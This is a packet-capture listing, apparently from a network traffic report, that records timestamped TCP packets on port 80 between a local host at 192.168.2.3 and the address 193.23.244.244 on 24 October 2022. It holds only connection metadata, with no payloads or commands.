Oct 24, 2022 11:09:02.737925053 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737935066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737948895 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.737953901 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737972975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.737992048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738002062 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738008976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738028049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738037109 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738044977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738064051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738065004 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738080978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738085985 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738101006 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738122940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738126993 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738141060 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738157988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738168001 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738177061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738193035 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738194942 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738213062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738215923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738229036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738248110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738257885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738265038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738284111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738301039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738302946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738318920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738329887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738337040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738358021 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738372087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738379955 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738394976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738414049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738415956 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738432884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738439083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738450050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738461971 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738468885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738487005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738503933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738523960 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738532066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738559008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738576889 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738584995 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738584995 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738609076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738611937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738632917 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738636017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738655090 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738658905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738677025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738681078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738694906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738707066 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738713026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738730907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738730907 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738748074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738765955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738770962 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738784075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738795042 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738801956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738818884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738831997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738837004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738854885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738871098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738873005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738899946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738904953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738923073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738939047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738943100 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738956928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738976955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.738986015 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.738995075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739012003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739029884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739029884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739047050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739056110 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739063978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739080906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739083052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739099026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739104033 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739116907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739134073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739144087 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739164114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739183903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739191055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739201069 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739211082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739228010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739244938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739244938 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739262104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739262104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739279985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739289999 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739298105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739315033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739331961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739332914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739358902 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739361048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739382982 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739387989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739412069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739419937 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739438057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739442110 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739460945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739464045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739480019 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739487886 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739496946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739511013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739515066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739532948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739538908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739562988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739581108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739583015 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739598036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739605904 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739615917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739634037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739643097 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739651918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739670038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739681959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739687920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739706039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739707947 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739723921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739732027 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739742041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739761114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739768982 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739779949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739797115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739804029 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739814043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739826918 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739831924 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739849091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739866972 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739870071 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739885092 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739897966 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739903927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739921093 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739924908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739938021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739957094 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.739959002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739979029 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.739984989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740011930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740020037 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740031958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740041971 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740050077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740067005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740068913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740084887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740102053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740103960 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740119934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740124941 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740137100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740154982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740164042 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740171909 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740190029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740201950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740206957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740223885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740233898 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740240097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740258932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740263939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740276098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740286112 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740293980 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740310907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740328074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740345001 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740350008 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740361929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740365982 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740379095 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.740406990 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.740430117 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.748775959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.748807907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.748826027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.748838902 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.748845100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.748872995 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.748919010 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.763092041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.763120890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.763138056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.763156891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.763179064 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.763467073 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769131899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769176006 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769203901 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769216061 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769231081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769258976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769262075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769288063 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769308090 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769315004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769334078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769340992 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769368887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769368887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769392014 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769397020 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769413948 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769423008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769438982 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769449949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.769462109 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.769515038 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776019096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776052952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776071072 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776088953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776107073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776124001 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776143074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776160002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776160955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776179075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776197910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776215076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776232004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776248932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776252031 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776285887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776312113 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776329041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776387930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776420116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776428938 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.776437044 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.776474953 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.790285110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.790323973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.790471077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.790489912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.790771961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.796538115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796590090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796618938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796652079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796681881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796711922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796741962 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796751022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.796770096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796783924 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.796792030 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796811104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.796817064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.796863079 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803436995 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803478003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803507090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803545952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803556919 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803589106 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803602934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803627014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803666115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803672075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803703070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803742886 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803746939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803778887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803818941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803823948 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803855896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803894997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803898096 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.803930998 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803967953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.803973913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.804008007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804044008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804052114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.804079056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804115057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804122925 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.804148912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804184914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804202080 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.804219007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804253101 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.804264069 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.818090916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.818134069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.818157911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.818182945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.818207979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.818265915 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.818346977 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.824692011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824723005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824740887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824759960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824778080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824796915 CEST	80	49700	193.23.244.244	192.168.2.3
